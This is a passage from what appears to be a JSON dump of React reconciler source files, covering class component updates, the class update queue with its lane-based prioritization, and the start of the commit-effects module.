instance.componentWillUpdate(newProps, newState, nextContext);\n      }\n      if (typeof instance.UNSAFE_componentWillUpdate === 'function') {\n        instance.UNSAFE_componentWillUpdate(newProps, newState, nextContext);\n      }\n    }\n    if (typeof instance.componentDidUpdate === 'function') {\n      workInProgress.flags |= Update;\n    }\n    if (typeof instance.getSnapshotBeforeUpdate === 'function') {\n      workInProgress.flags |= Snapshot;\n    }\n  } else {\n    // If an update was already in progress, we should schedule an Update\n    // effect even though we're bailing out, so that cWU/cDU are called.\n    if (typeof instance.componentDidUpdate === 'function') {\n      if (\n        unresolvedOldProps !== current.memoizedProps ||\n        oldState !== current.memoizedState\n      ) {\n        workInProgress.flags |= Update;\n      }\n    }\n    if (typeof instance.getSnapshotBeforeUpdate === 'function') {\n      if (\n        unresolvedOldProps !== current.memoizedProps ||\n        oldState !== current.memoizedState\n      ) {\n        workInProgress.flags |= Snapshot;\n      }\n    }\n\n    // If shouldComponentUpdate returned false, we should still update the\n    // memoized props/state to indicate that this work can be reused.\n    workInProgress.memoizedProps = newProps;\n    workInProgress.memoizedState = newState;\n  }\n\n  // Update the existing instance's state, props, and context pointers even\n  // if shouldComponentUpdate returns false.\n  instance.props = newProps;\n  instance.state = newState;\n  instance.context = nextContext;\n\n  return shouldUpdate;\n}\n\nexport function resolveClassComponentProps(\n  Component: any,\n  baseProps: Object,\n): Object {\n  let newProps = baseProps;\n\n  // Remove ref from the props object, if it exists.\n  if ('ref' in baseProps) {\n    newProps = ({}: any);\n    for (const propName in baseProps) {\n      if (propName !== 'ref') {\n        newProps[propName] = baseProps[propName];\n      }\n    }\n  }\n\n  // Resolve default props.\n  const defaultProps = Component.defaultProps;\n  if (defaultProps) {\n    // We may have already copied the props object above to remove ref. If so,\n    // we can modify that. Otherwise, copy the props object with Object.assign.\n    if (newProps === baseProps) {\n      newProps = assign({}, newProps);\n    }\n    // Taken from old JSX runtime, where this used to live.\n    for (const propName in defaultProps) {\n      if (newProps[propName] === undefined) {\n        newProps[propName] = defaultProps[propName];\n      }\n    }\n  }\n\n  return newProps;\n}\n\nexport {\n  constructClassInstance,\n  mountClassInstance,\n  resumeMountClassInstance,\n  updateClassInstance,\n};\n"
  },
  {
    "path": "packages/react-reconciler/src/ReactFiberClassUpdateQueue.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\n// UpdateQueue is a linked list of prioritized updates.\n//\n// Like fibers, update queues come in pairs: a current queue, which represents\n// the visible state of the screen, and a work-in-progress queue, which can be\n// mutated and processed asynchronously before it is committed — a form of\n// double buffering. If a work-in-progress render is discarded before finishing,\n// we create a new work-in-progress by cloning the current queue.\n//\n// Both queues share a persistent, singly-linked list structure. To schedule an\n// update, we append it to the end of both queues. Each queue maintains a\n// pointer to first update in the persistent list that hasn't been processed.\n// The work-in-progress pointer always has a position equal to or greater than\n// the current queue, since we always work on that one. The current queue's\n// pointer is only updated during the commit phase, when we swap in the\n// work-in-progress.\n//\n// For example:\n//\n//   Current pointer:           A - B - C - D - E - F\n//   Work-in-progress pointer:              D - E - F\n//                                          ^\n//                                          The work-in-progress queue has\n//                                          processed more updates than current.\n//\n// The reason we append to both queues is because otherwise we might drop\n// updates without ever processing them. For example, if we only add updates to\n// the work-in-progress queue, some updates could be lost whenever a work-in\n// -progress render restarts by cloning from current. Similarly, if we only add\n// updates to the current queue, the updates will be lost whenever an already\n// in-progress queue commits and swaps with the current queue. However, by\n// adding to both queues, we guarantee that the update will be part of the next\n// work-in-progress. (And because the work-in-progress queue becomes the\n// current queue once it commits, there's no danger of applying the same\n// update twice.)\n//\n// Prioritization\n// --------------\n//\n// Updates are not sorted by priority, but by insertion; new updates are always\n// appended to the end of the list.\n//\n// The priority is still important, though. When processing the update queue\n// during the render phase, only the updates with sufficient priority are\n// included in the result. If we skip an update because it has insufficient\n// priority, it remains in the queue to be processed later, during a lower\n// priority render. Crucially, all updates subsequent to a skipped update also\n// remain in the queue *regardless of their priority*. That means high priority\n// updates are sometimes processed twice, at two separate priorities. We also\n// keep track of a base state, that represents the state before the first\n// update in the queue is applied.\n//\n// For example:\n//\n//   Given a base state of '', and the following queue of updates\n//\n//     A1 - B2 - C1 - D2\n//\n//   where the number indicates the priority, and the update is applied to the\n//   previous state by appending a letter, React will process these updates as\n//   two separate renders, one per distinct priority level:\n//\n//   First render, at priority 1:\n//     Base state: ''\n//     Updates: [A1, C1]\n//     Result state: 'AC'\n//\n//   Second render, at priority 2:\n//     Base state: 'A'            <-  The base state does not include C1,\n//                                    because B2 was skipped.\n//     Updates: [B2, C1, D2]      <-  C1 was rebased on top of B2\n//     Result state: 'ABCD'\n//\n// Because we process updates in insertion order, and rebase high priority\n// updates when preceding updates are skipped, the final result is deterministic\n// regardless of priority. Intermediate state may vary according to system\n// resources, but the final state is always the same.\n\nimport type {Fiber, FiberRoot} from './ReactInternalTypes';\nimport type {Lanes, Lane} from './ReactFiberLane';\n\nimport {\n  NoLane,\n  NoLanes,\n  OffscreenLane,\n  isSubsetOfLanes,\n  mergeLanes,\n  removeLanes,\n  isTransitionLane,\n  intersectLanes,\n  markRootEntangled,\n} from './ReactFiberLane';\nimport {\n  enterDisallowedContextReadInDEV,\n  exitDisallowedContextReadInDEV,\n} from './ReactFiberNewContext';\nimport {\n  Callback,\n  Visibility,\n  ShouldCapture,\n  DidCapture,\n} from './ReactFiberFlags';\nimport getComponentNameFromFiber from './getComponentNameFromFiber';\n\nimport {StrictLegacyMode} from './ReactTypeOfMode';\nimport {\n  markSkippedUpdateLanes,\n  isUnsafeClassRenderPhaseUpdate,\n  getWorkInProgressRootRenderLanes,\n} from './ReactFiberWorkLoop';\nimport {\n  enqueueConcurrentClassUpdate,\n  unsafe_markUpdateLaneFromFiberToRoot,\n} from './ReactFiberConcurrentUpdates';\nimport {setIsStrictModeForDevtools} from './ReactFiberDevToolsHook';\n\nimport assign from 'shared/assign';\nimport {\n  peekEntangledActionLane,\n  peekEntangledActionThenable,\n} from './ReactFiberAsyncAction';\n\nexport type Update<State> = {\n  lane: Lane,\n\n  tag: 0 | 1 | 2 | 3,\n  payload: any,\n  callback: (() => mixed) | null,\n\n  next: Update<State> | null,\n};\n\nexport type SharedQueue<State> = {\n  pending: Update<State> | null,\n  lanes: Lanes,\n  hiddenCallbacks: Array<() => mixed> | null,\n};\n\nexport type UpdateQueue<State> = {\n  baseState: State,\n  firstBaseUpdate: Update<State> | null,\n  lastBaseUpdate: Update<State> | null,\n  shared: SharedQueue<State>,\n  callbacks: Array<() => mixed> | null,\n};\n\nexport const UpdateState = 0;\nexport const ReplaceState = 1;\nexport const ForceUpdate = 2;\nexport const CaptureUpdate = 3;\n\n// Global state that is reset at the beginning of calling `processUpdateQueue`.\n// It should only be read right after calling `processUpdateQueue`, via\n// `checkHasForceUpdateAfterProcessing`.\nlet hasForceUpdate = false;\n\nlet didWarnUpdateInsideUpdate;\nlet currentlyProcessingQueue: ?SharedQueue<$FlowFixMe>;\nexport let resetCurrentlyProcessingQueue: () => void;\nif (__DEV__) {\n  didWarnUpdateInsideUpdate = false;\n  currentlyProcessingQueue = null;\n  resetCurrentlyProcessingQueue = () => {\n    currentlyProcessingQueue = null;\n  };\n}\n\nexport function initializeUpdateQueue<State>(fiber: Fiber): void {\n  const queue: UpdateQueue<State> = {\n    baseState: fiber.memoizedState,\n    firstBaseUpdate: null,\n    lastBaseUpdate: null,\n    shared: {\n      pending: null,\n      lanes: NoLanes,\n      hiddenCallbacks: null,\n    },\n    callbacks: null,\n  };\n  fiber.updateQueue = queue;\n}\n\nexport function cloneUpdateQueue<State>(\n  current: Fiber,\n  workInProgress: Fiber,\n): void {\n  // Clone the update queue from current. Unless it's already a clone.\n  const queue: UpdateQueue<State> = (workInProgress.updateQueue: any);\n  const currentQueue: UpdateQueue<State> = (current.updateQueue: any);\n  if (queue === currentQueue) {\n    const clone: UpdateQueue<State> = {\n      baseState: currentQueue.baseState,\n      firstBaseUpdate: currentQueue.firstBaseUpdate,\n      lastBaseUpdate: currentQueue.lastBaseUpdate,\n      shared: currentQueue.shared,\n      callbacks: null,\n    };\n    workInProgress.updateQueue = clone;\n  }\n}\n\nexport function createUpdate(lane: Lane): Update<mixed> {\n  const update: Update<mixed> = {\n    lane,\n\n    tag: UpdateState,\n    payload: null,\n    callback: null,\n\n    next: null,\n  };\n  return update;\n}\n\nexport function enqueueUpdate<State>(\n  fiber: Fiber,\n  update: Update<State>,\n  lane: Lane,\n): FiberRoot | null {\n  const updateQueue = fiber.updateQueue;\n  if (updateQueue === null) {\n    // Only occurs if the fiber has been unmounted.\n    return null;\n  }\n\n  const sharedQueue: SharedQueue<State> = (updateQueue: any).shared;\n\n  if (__DEV__) {\n    if (\n      currentlyProcessingQueue === sharedQueue &&\n      !didWarnUpdateInsideUpdate\n    ) {\n      const componentName = getComponentNameFromFiber(fiber);\n      console.error(\n        'An update (setState, replaceState, or forceUpdate) was scheduled ' +\n          'from inside an update function. Update functions should be pure, ' +\n          'with zero side-effects. Consider using componentDidUpdate or a ' +\n          'callback.\\n\\nPlease update the following component: %s',\n        componentName,\n      );\n      didWarnUpdateInsideUpdate = true;\n    }\n  }\n\n  if (isUnsafeClassRenderPhaseUpdate(fiber)) {\n    // This is an unsafe render phase update. Add directly to the update\n    // queue so we can process it immediately during the current render.\n    const pending = sharedQueue.pending;\n    if (pending === null) {\n      // This is the first update. Create a circular list.\n      update.next = update;\n    } else {\n      update.next = pending.next;\n      pending.next = update;\n    }\n    sharedQueue.pending = update;\n\n    // Update the childLanes even though we're most likely already rendering\n    // this fiber. This is for backwards compatibility in the case where you\n    // update a different component during render phase than the one that is\n    // currently renderings (a pattern that is accompanied by a warning).\n    return unsafe_markUpdateLaneFromFiberToRoot(fiber, lane);\n  } else {\n    return enqueueConcurrentClassUpdate(fiber, sharedQueue, update, lane);\n  }\n}\n\nexport function entangleTransitions(root: FiberRoot, fiber: Fiber, lane: Lane) {\n  const updateQueue = fiber.updateQueue;\n  if (updateQueue === null) {\n    // Only occurs if the fiber has been unmounted.\n    return;\n  }\n\n  const sharedQueue: SharedQueue<mixed> = (updateQueue: any).shared;\n  if (isTransitionLane(lane)) {\n    let queueLanes = sharedQueue.lanes;\n\n    // If any entangled lanes are no longer pending on the root, then they must\n    // have finished. We can remove them from the shared queue, which represents\n    // a superset of the actually pending lanes. In some cases we may entangle\n    // more than we need to, but that's OK. In fact it's worse if we *don't*\n    // entangle when we should.\n    queueLanes = intersectLanes(queueLanes, root.pendingLanes);\n\n    // Entangle the new transition lane with the other transition lanes.\n    const newQueueLanes = mergeLanes(queueLanes, lane);\n    sharedQueue.lanes = newQueueLanes;\n    // Even if queue.lanes already include lane, we don't know for certain if\n    // the lane finished since the last time we entangled it. So we need to\n    // entangle it again, just to be sure.\n    markRootEntangled(root, newQueueLanes);\n  }\n}\n\nexport function enqueueCapturedUpdate<State>(\n  workInProgress: Fiber,\n  capturedUpdate: Update<State>,\n) {\n  // Captured updates are updates that are thrown by a child during the render\n  // phase. They should be discarded if the render is aborted. Therefore,\n  // we should only put them on the work-in-progress queue, not the current one.\n  let queue: UpdateQueue<State> = (workInProgress.updateQueue: any);\n\n  // Check if the work-in-progress queue is a clone.\n  const current = workInProgress.alternate;\n  if (current !== null) {\n    const currentQueue: UpdateQueue<State> = (current.updateQueue: any);\n    if (queue === currentQueue) {\n      // The work-in-progress queue is the same as current. This happens when\n      // we bail out on a parent fiber that then captures an error thrown by\n      // a child. Since we want to append the update only to the work-in\n      // -progress queue, we need to clone the updates. We usually clone during\n      // processUpdateQueue, but that didn't happen in this case because we\n      // skipped over the parent when we bailed out.\n      let newFirst = null;\n      let newLast = null;\n      const firstBaseUpdate = queue.firstBaseUpdate;\n      if (firstBaseUpdate !== null) {\n        // Loop through the updates and clone them.\n        let update: Update<State> = firstBaseUpdate;\n        do {\n          const clone: Update<State> = {\n            lane: update.lane,\n\n            tag: update.tag,\n            payload: update.payload,\n            // When this update is rebased, we should not fire its\n            // callback again.\n            callback: null,\n\n            next: null,\n          };\n          if (newLast === null) {\n            newFirst = newLast = clone;\n          } else {\n            newLast.next = clone;\n            newLast = clone;\n          }\n          // $FlowFixMe[incompatible-type] we bail out when we get a null\n          update = update.next;\n        } while (update !== null);\n\n        // Append the captured update the end of the cloned list.\n        if (newLast === null) {\n          newFirst = newLast = capturedUpdate;\n        } else {\n          newLast.next = capturedUpdate;\n          newLast = capturedUpdate;\n        }\n      } else {\n        // There are no base updates.\n        newFirst = newLast = capturedUpdate;\n      }\n      queue = {\n        baseState: currentQueue.baseState,\n        firstBaseUpdate: newFirst,\n        lastBaseUpdate: newLast,\n        shared: currentQueue.shared,\n        callbacks: currentQueue.callbacks,\n      };\n      workInProgress.updateQueue = queue;\n      return;\n    }\n  }\n\n  // Append the update to the end of the list.\n  const lastBaseUpdate = queue.lastBaseUpdate;\n  if (lastBaseUpdate === null) {\n    queue.firstBaseUpdate = capturedUpdate;\n  } else {\n    lastBaseUpdate.next = capturedUpdate;\n  }\n  queue.lastBaseUpdate = capturedUpdate;\n}\n\nfunction getStateFromUpdate<State>(\n  workInProgress: Fiber,\n  queue: UpdateQueue<State>,\n  update: Update<State>,\n  prevState: State,\n  nextProps: any,\n  instance: any,\n): any {\n  switch (update.tag) {\n    case ReplaceState: {\n      const payload = update.payload;\n      if (typeof payload === 'function') {\n        // Updater function\n        if (__DEV__) {\n          enterDisallowedContextReadInDEV();\n        }\n        const nextState = payload.call(instance, prevState, nextProps);\n        if (__DEV__) {\n          if (workInProgress.mode & StrictLegacyMode) {\n            setIsStrictModeForDevtools(true);\n            try {\n              payload.call(instance, prevState, nextProps);\n            } finally {\n              setIsStrictModeForDevtools(false);\n            }\n          }\n          exitDisallowedContextReadInDEV();\n        }\n        return nextState;\n      }\n      // State object\n      return payload;\n    }\n    case CaptureUpdate: {\n      workInProgress.flags =\n        (workInProgress.flags & ~ShouldCapture) | DidCapture;\n    }\n    // Intentional fallthrough\n    case UpdateState: {\n      const payload = update.payload;\n      let partialState;\n      if (typeof payload === 'function') {\n        // Updater function\n        if (__DEV__) {\n          enterDisallowedContextReadInDEV();\n        }\n        partialState = payload.call(instance, prevState, nextProps);\n        if (__DEV__) {\n          if (workInProgress.mode & StrictLegacyMode) {\n            setIsStrictModeForDevtools(true);\n            try {\n              payload.call(instance, prevState, nextProps);\n            } finally {\n              setIsStrictModeForDevtools(false);\n            }\n          }\n          exitDisallowedContextReadInDEV();\n        }\n      } else {\n        // Partial state object\n        partialState = payload;\n      }\n      if (partialState === null || partialState === undefined) {\n        // Null and undefined are treated as no-ops.\n        return prevState;\n      }\n      // Merge the partial state and the previous state.\n      return assign({}, prevState, partialState);\n    }\n    case ForceUpdate: {\n      hasForceUpdate = true;\n      return prevState;\n    }\n  }\n  return prevState;\n}\n\nlet didReadFromEntangledAsyncAction: boolean = false;\n\n// Each call to processUpdateQueue should be accompanied by a call to this. It's\n// only in a separate function because in updateHostRoot, it must happen after\n// all the context stacks have been pushed to, to prevent a stack mismatch. A\n// bit unfortunate.\nexport function suspendIfUpdateReadFromEntangledAsyncAction() {\n  // Check if this update is part of a pending async action. If so, we'll\n  // need to suspend until the action has finished, so that it's batched\n  // together with future updates in the same action.\n  // TODO: Once we support hooks inside useMemo (or an equivalent\n  // memoization boundary like Forget), hoist this logic so that it only\n  // suspends if the memo boundary produces a new value.\n  if (didReadFromEntangledAsyncAction) {\n    const entangledActionThenable = peekEntangledActionThenable();\n    if (entangledActionThenable !== null) {\n      // TODO: Instead of the throwing the thenable directly, throw a\n      // special object like `use` does so we can detect if it's captured\n      // by userspace.\n      throw entangledActionThenable;\n    }\n  }\n}\n\nexport function processUpdateQueue<State>(\n  workInProgress: Fiber,\n  props: any,\n  instance: any,\n  renderLanes: Lanes,\n): void {\n  didReadFromEntangledAsyncAction = false;\n\n  // This is always non-null on a ClassComponent or HostRoot\n  const queue: UpdateQueue<State> = (workInProgress.updateQueue: any);\n\n  hasForceUpdate = false;\n\n  if (__DEV__) {\n    currentlyProcessingQueue = queue.shared;\n  }\n\n  let firstBaseUpdate = queue.firstBaseUpdate;\n  let lastBaseUpdate = queue.lastBaseUpdate;\n\n  // Check if there are pending updates. If so, transfer them to the base queue.\n  let pendingQueue = queue.shared.pending;\n  if (pendingQueue !== null) {\n    queue.shared.pending = null;\n\n    // The pending queue is circular. Disconnect the pointer between first\n    // and last so that it's non-circular.\n    const lastPendingUpdate = pendingQueue;\n    const firstPendingUpdate = lastPendingUpdate.next;\n    lastPendingUpdate.next = null;\n    // Append pending updates to base queue\n    if (lastBaseUpdate === null) {\n      firstBaseUpdate = firstPendingUpdate;\n    } else {\n      lastBaseUpdate.next = firstPendingUpdate;\n    }\n    lastBaseUpdate = lastPendingUpdate;\n\n    // If there's a current queue, and it's different from the base queue, then\n    // we need to transfer the updates to that queue, too. Because the base\n    // queue is a singly-linked list with no cycles, we can append to both\n    // lists and take advantage of structural sharing.\n    // TODO: Pass `current` as argument\n    const current = workInProgress.alternate;\n    if (current !== null) {\n      // This is always non-null on a ClassComponent or HostRoot\n      const currentQueue: UpdateQueue<State> = (current.updateQueue: any);\n      const currentLastBaseUpdate = currentQueue.lastBaseUpdate;\n      if (currentLastBaseUpdate !== lastBaseUpdate) {\n        if (currentLastBaseUpdate === null) {\n          currentQueue.firstBaseUpdate = firstPendingUpdate;\n        } else {\n          currentLastBaseUpdate.next = firstPendingUpdate;\n        }\n        currentQueue.lastBaseUpdate = lastPendingUpdate;\n      }\n    }\n  }\n\n  // These values may change as we process the queue.\n  if (firstBaseUpdate !== null) {\n    // Iterate through the list of updates to compute the result.\n    let newState = queue.baseState;\n    // TODO: Don't need to accumulate this. Instead, we can remove renderLanes\n    // from the original lanes.\n    let newLanes: Lanes = NoLanes;\n\n    let newBaseState = null;\n    let newFirstBaseUpdate = null;\n    let newLastBaseUpdate: null | Update<State> = null;\n\n    let update: Update<State> = firstBaseUpdate;\n    do {\n      // An extra OffscreenLane bit is added to updates that were made to\n      // a hidden tree, so that we can distinguish them from updates that were\n      // already there when the tree was hidden.\n      const updateLane = removeLanes(update.lane, OffscreenLane);\n      const isHiddenUpdate = updateLane !== update.lane;\n\n      // Check if this update was made while the tree was hidden. If so, then\n      // it's not a \"base\" update and we should disregard the extra base lanes\n      // that were added to renderLanes when we entered the Offscreen tree.\n      const shouldSkipUpdate = isHiddenUpdate\n        ? !isSubsetOfLanes(getWorkInProgressRootRenderLanes(), updateLane)\n        : !isSubsetOfLanes(renderLanes, updateLane);\n\n      if (shouldSkipUpdate) {\n        // Priority is insufficient. Skip this update. If this is the first\n        // skipped update, the previous update/state is the new base\n        // update/state.\n        const clone: Update<State> = {\n          lane: updateLane,\n\n          tag: update.tag,\n          payload: update.payload,\n          callback: update.callback,\n\n          next: null,\n        };\n        if (newLastBaseUpdate === null) {\n          newFirstBaseUpdate = newLastBaseUpdate = clone;\n          newBaseState = newState;\n        } else {\n          newLastBaseUpdate = newLastBaseUpdate.next = clone;\n        }\n        // Update the remaining priority in the queue.\n        newLanes = mergeLanes(newLanes, updateLane);\n      } else {\n        // This update does have sufficient priority.\n\n        // Check if this update is part of a pending async action. If so,\n        // we'll need to suspend until the action has finished, so that it's\n        // batched together with future updates in the same action.\n        if (updateLane !== NoLane && updateLane === peekEntangledActionLane()) {\n          didReadFromEntangledAsyncAction = true;\n        }\n\n        if (newLastBaseUpdate !== null) {\n          const clone: Update<State> = {\n            // This update is going to be committed so we never want uncommit\n            // it. Using NoLane works because 0 is a subset of all bitmasks, so\n            // this will never be skipped by the check above.\n            lane: NoLane,\n\n            tag: update.tag,\n            payload: update.payload,\n\n            // When this update is rebased, we should not fire its\n            // callback again.\n            callback: null,\n\n            next: null,\n          };\n          newLastBaseUpdate = newLastBaseUpdate.next = clone;\n        }\n\n        // Process this update.\n        newState = getStateFromUpdate(\n          workInProgress,\n          queue,\n          update,\n          newState,\n          props,\n          instance,\n        );\n        const callback = update.callback;\n        if (callback !== null) {\n          workInProgress.flags |= Callback;\n          if (isHiddenUpdate) {\n            workInProgress.flags |= Visibility;\n          }\n          const callbacks = queue.callbacks;\n          if (callbacks === null) {\n            queue.callbacks = [callback];\n          } else {\n            callbacks.push(callback);\n          }\n        }\n      }\n      // $FlowFixMe[incompatible-type] we bail out when we get a null\n      update = update.next;\n      if (update === null) {\n        pendingQueue = queue.shared.pending;\n        if (pendingQueue === null) {\n          break;\n        } else {\n          // An update was scheduled from inside a reducer. Add the new\n          // pending updates to the end of the list and keep processing.\n          const lastPendingUpdate = pendingQueue;\n          // Intentionally unsound. Pending updates form a circular list, but we\n          // unravel them when transferring them to the base queue.\n          const firstPendingUpdate =\n            ((lastPendingUpdate.next: any): Update<State>);\n          lastPendingUpdate.next = null;\n          update = firstPendingUpdate;\n          queue.lastBaseUpdate = lastPendingUpdate;\n          queue.shared.pending = null;\n        }\n      }\n    } while (true);\n\n    if (newLastBaseUpdate === null) {\n      newBaseState = newState;\n    }\n\n    queue.baseState = ((newBaseState: any): State);\n    queue.firstBaseUpdate = newFirstBaseUpdate;\n    queue.lastBaseUpdate = newLastBaseUpdate;\n\n    if (firstBaseUpdate === null) {\n      // `queue.lanes` is used for entangling transitions. We can set it back to\n      // zero once the queue is empty.\n      queue.shared.lanes = NoLanes;\n    }\n\n    // Set the remaining expiration time to be whatever is remaining in the queue.\n    // This should be fine because the only two other things that contribute to\n    // expiration time are props and context. We're already in the middle of the\n    // begin phase by the time we start processing the queue, so we've already\n    // dealt with the props. Context in components that specify\n    // shouldComponentUpdate is tricky; but we'll have to account for\n    // that regardless.\n    markSkippedUpdateLanes(newLanes);\n    workInProgress.lanes = newLanes;\n    workInProgress.memoizedState = newState;\n  }\n\n  if (__DEV__) {\n    currentlyProcessingQueue = null;\n  }\n}\n\nfunction callCallback(callback: () => mixed, context: any) {\n  if (typeof callback !== 'function') {\n    throw new Error(\n      'Invalid argument passed as callback. Expected a function. Instead ' +\n        `received: ${callback}`,\n    );\n  }\n\n  callback.call(context);\n}\n\nexport function resetHasForceUpdateBeforeProcessing() {\n  hasForceUpdate = false;\n}\n\nexport function checkHasForceUpdateAfterProcessing(): boolean {\n  return hasForceUpdate;\n}\n\nexport function deferHiddenCallbacks<State>(\n  updateQueue: UpdateQueue<State>,\n): void {\n  // When an update finishes on a hidden component, its callback should not\n  // be fired until/unless the component is made visible again. Stash the\n  // callback on the shared queue object so it can be fired later.\n  const newHiddenCallbacks = updateQueue.callbacks;\n  if (newHiddenCallbacks !== null) {\n    const existingHiddenCallbacks = updateQueue.shared.hiddenCallbacks;\n    if (existingHiddenCallbacks === null) {\n      updateQueue.shared.hiddenCallbacks = newHiddenCallbacks;\n    } else {\n      updateQueue.shared.hiddenCallbacks =\n        existingHiddenCallbacks.concat(newHiddenCallbacks);\n    }\n  }\n}\n\nexport function commitHiddenCallbacks<State>(\n  updateQueue: UpdateQueue<State>,\n  context: any,\n): void {\n  // This component is switching from hidden -> visible. Commit any callbacks\n  // that were previously deferred.\n  const hiddenCallbacks = updateQueue.shared.hiddenCallbacks;\n  if (hiddenCallbacks !== null) {\n    updateQueue.shared.hiddenCallbacks = null;\n    for (let i = 0; i < hiddenCallbacks.length; i++) {\n      const callback = hiddenCallbacks[i];\n      callCallback(callback, context);\n    }\n  }\n}\n\nexport function commitCallbacks<State>(\n  updateQueue: UpdateQueue<State>,\n  context: any,\n): void {\n  const callbacks = updateQueue.callbacks;\n  if (callbacks !== null) {\n    updateQueue.callbacks = null;\n    for (let i = 0; i < callbacks.length; i++) {\n      const callback = callbacks[i];\n      callCallback(callback, context);\n    }\n  }\n}\n"
  },
  {
    "path": "packages/react-reconciler/src/ReactFiberCommitEffects.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {\n  ViewTransitionProps,\n  ProfilerProps,\n  ProfilerPhase,\n} from 'shared/ReactTypes';\nimport type {Fiber} from './ReactInternalTypes';\nimport type {UpdateQueue} from './ReactFiberClassUpdateQueue';\nimport type {FunctionComponentUpdateQueue} from './ReactFiberHooks';\nimport type {HookFlags} from './ReactHookEffectTags';\nimport type {FragmentInstanceType} from './ReactFiberConfig';\nimport type {ViewTransitionState} from './ReactFiberViewTransitionComponent';\n\nimport {getViewTransitionName} from './ReactFiberViewTransitionComponent';\n\nimport {\n  enableProfilerTimer,\n  enableProfilerCommitHooks,\n  enableProfilerNestedUpdatePhase,\n  enableSchedulingProfiler,\n  enableViewTransition,\n  enableFragmentRefs,\n} from 'shared/ReactFeatureFlags';\nimport {\n  ClassComponent,\n  Fragment,\n  HostComponent,\n  HostHoistable,\n  HostSingleton,\n  ViewTransitionComponent,\n} from './ReactWorkTags';\nimport {NoFlags} from './ReactFiberFlags';\nimport getComponentNameFromFiber from 'react-reconciler/src/getComponentNameFromFiber';\nimport {resolveClassComponentProps} from './ReactFiberClassComponent';\nimport {\n  recordEffectDuration,\n  startEffectTimer,\n  isCurrentUpdateNested,\n} from './ReactProfilerTimer';\nimport {NoMode, ProfileMode} from './ReactTypeOfMode';\nimport {\n  commitCallbacks,\n  commitHiddenCallbacks,\n} from './ReactFiberClassUpdateQueue';\nimport {\n  getPublicInstance,\n  createViewTransitionInstance,\n  createFragmentInstance,\n} from './ReactFiberConfig';\nimport {\n  captureCommitPhaseError,\n  setIsRunningInsertionEffect,\n} from './ReactFiberWorkLoop';\nimport {\n  NoFlags as NoHookEffect,\n  Layout as HookLayout,\n  Insertion as HookInsertion,\n  Passive as HookPassive,\n} from './ReactHookEffectTags';\nimport {didWarnAboutReassigningProps} from './ReactFiberBeginWork';\nimport {\n  markComponentPassiveEffectMountStarted,\n  markComponentPassiveEffectMountStopped,\n  markComponentPassiveEffectUnmountStarted,\n  markComponentPassiveEffectUnmountStopped,\n  markComponentLayoutEffectMountStarted,\n  markComponentLayoutEffectMountStopped,\n  markComponentLayoutEffectUnmountStarted,\n  markComponentLayoutEffectUnmountStopped,\n} from './ReactFiberDevToolsHook';\nimport {\n  callComponentDidMountInDEV,\n  callComponentDidUpdateInDEV,\n  callComponentWillUnmountInDEV,\n  callCreateInDEV,\n  callDestroyInDEV,\n} from './ReactFiberCallUserSpace';\n\nimport {runWithFiberInDEV} from './ReactCurrentFiber';\n\nfunction shouldProfile(current: Fiber): boolean {\n  return (\n    enableProfilerTimer &&\n    enableProfilerCommitHooks &&\n    (current.mode & ProfileMode) !== NoMode\n  );\n}\n\nexport function commitHookLayoutEffects(\n  finishedWork: Fiber,\n  hookFlags: HookFlags,\n) {\n  // At this point layout effects have already been destroyed (during mutation phase).\n  // This is done to prevent sibling component effects from interfering with each other,\n  // e.g. a destroy function in one component should never override a ref set\n  // by a create function in another component during the same commit.\n  if (shouldProfile(finishedWork)) {\n    startEffectTimer();\n    commitHookEffectListMount(hookFlags, finishedWork);\n    recordEffectDuration(finishedWork);\n  } else {\n    commitHookEffectListMount(hookFlags, finishedWork);\n  }\n}\n\nexport function commitHookLayoutUnmountEffects(\n  finishedWork: Fiber,\n  nearestMountedAncestor: null | Fiber,\n  hookFlags: HookFlags,\n) {\n  // Layout effects are destroyed during the mutation phase so that all\n  // destroy functions for all fibers are called before any create functions.\n  // This prevents sibling component effects from interfering with each other,\n  // e.g. a destroy function in one component should never override a ref set\n  // by a create function in another component during the same commit.\n  if (shouldProfile(finishedWork)) {\n    startEffectTimer();\n    commitHookEffectListUnmount(\n      hookFlags,\n      finishedWork,\n      nearestMountedAncestor,\n    );\n    recordEffectDuration(finishedWork);\n  } else {\n    commitHookEffectListUnmount(\n      hookFlags,\n      finishedWork,\n      nearestMountedAncestor,\n    );\n  }\n}\n\nexport function commitHookEffectListMount(\n  flags: HookFlags,\n  finishedWork: Fiber,\n) {\n  try {\n    const updateQueue: FunctionComponentUpdateQueue | null =\n      (finishedWork.updateQueue: any);\n    const lastEffect = updateQueue !== null ? updateQueue.lastEffect : null;\n    if (lastEffect !== null) {\n      const firstEffect = lastEffect.next;\n      let effect = firstEffect;\n      do {\n        if ((effect.tag & flags) === flags) {\n          if (enableSchedulingProfiler) {\n            if ((flags & HookPassive) !== NoHookEffect) {\n              markComponentPassiveEffectMountStarted(finishedWork);\n            } else if ((flags & HookLayout) !== NoHookEffect) {\n              markComponentLayoutEffectMountStarted(finishedWork);\n            }\n          }\n\n          // Mount\n          let destroy;\n          if (__DEV__) {\n            if ((flags & HookInsertion) !== NoHookEffect) {\n              setIsRunningInsertionEffect(true);\n            }\n            destroy = runWithFiberInDEV(finishedWork, callCreateInDEV, effect);\n            if ((flags & HookInsertion) !== NoHookEffect) {\n              setIsRunningInsertionEffect(false);\n            }\n          } else {\n            const create = effect.create;\n            const inst = effect.inst;\n            destroy = create();\n            inst.destroy = destroy;\n          }\n\n          if (enableSchedulingProfiler) {\n            if ((flags & HookPassive) !== NoHookEffect) {\n              markComponentPassiveEffectMountStopped();\n            } else if ((flags & HookLayout) !== NoHookEffect) {\n              markComponentLayoutEffectMountStopped();\n            }\n          }\n\n          if (__DEV__) {\n            if (destroy !== undefined && typeof destroy !== 'function') {\n              let hookName;\n              if ((effect.tag & HookLayout) !== NoFlags) {\n                hookName = 'useLayoutEffect';\n              } else if ((effect.tag & HookInsertion) !== NoFlags) {\n                hookName = 'useInsertionEffect';\n              } else {\n                hookName = 'useEffect';\n              }\n              let addendum;\n              if (destroy === null) {\n                addendum =\n                  ' You returned null. If your effect does not require clean ' +\n                  'up, return undefined (or nothing).';\n                // $FlowFixMe (@poteto) this check is safe on arbitrary non-null/void objects\n              } else if (typeof 